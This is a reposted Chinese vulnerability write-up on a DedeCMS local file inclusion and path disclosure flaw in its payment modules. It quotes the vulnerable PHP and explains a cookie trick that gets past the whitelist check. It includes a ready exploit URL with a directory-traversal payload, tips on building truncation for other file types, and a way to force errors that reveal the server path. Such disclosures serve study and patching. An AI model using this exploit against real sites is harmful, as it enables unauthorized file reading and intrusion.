dedecms本地文件包含及物理路径泄露0day

没穿底裤 2020年1月1日02:36:30评论372 views字数 1797阅读5分59秒阅读模式
摘要

作者:b4dboy
漏洞发现日期:2013-3-27 出现漏洞的两个文件为:
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里,估计这两个文件是临时工写的。

作者:b4dboy
漏洞发现日期:2013-3-27

 

出现漏洞的两个文件为:
Include/payment/alipay.php
Include/payment/yeepay.php
漏洞均出现在respond方法里,估计这两个文件是临时工写的。

Include/payment/alipay.php

......    function respond()     {         if (!empty($_POST))         {             foreach($_POST as $key => $data)             {                 $_GET[$key] = $data;             }         }         /* 引入配置文件 */         require_once DEDEDATA.'/payment/'.$_GET['code'].'.php'; ......

 

大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。

Include/payment/yeepay.php

 

......     function respond()     {          /* 引入配置文件 */         require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';          $p1_MerId = trim($payment['yp_account']);         $merchantKey = trim($payment['yp_key']); ......

 

 

大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。

这两个方法在plus/carbuyaction.php文件调用。

plus/carbuyaction.php

...... } else if ($dopost == 'return') {     $write_list = array('alipay', 'bank', 'cod', 'yeepay');     if (in_array($code, $write_list))     {         require_once DEDEINC.'/payment/'.$code.'.php';         $pay = new $code;         $msg=$pay->respond();         ShowMsg($msg, "javascript:;", 0, 3000);         exit();     } else {         exit('Error:File Type Can/'t Recognized!');     } } ......

 

 

 

大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。

回到include/common.inc.php来看看他的机制。

 

...... foreach(Array('_GET','_POST','_COOKIE') as $_request) {  foreach($$_request as $_k => $_v)  {   if($_k == 'nvarname') ${$_k} = $_v;   else ${$_k} = _RunMagicQuotes($_v);  } } ......

 

 

 

大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carbuyaction.php?dopost=return&code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日02:36:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   dedecms本地文件包含及物理路径泄露0dayhttps://cn-sec.com/archives/75184.html

发表评论

匿名网友 填写信息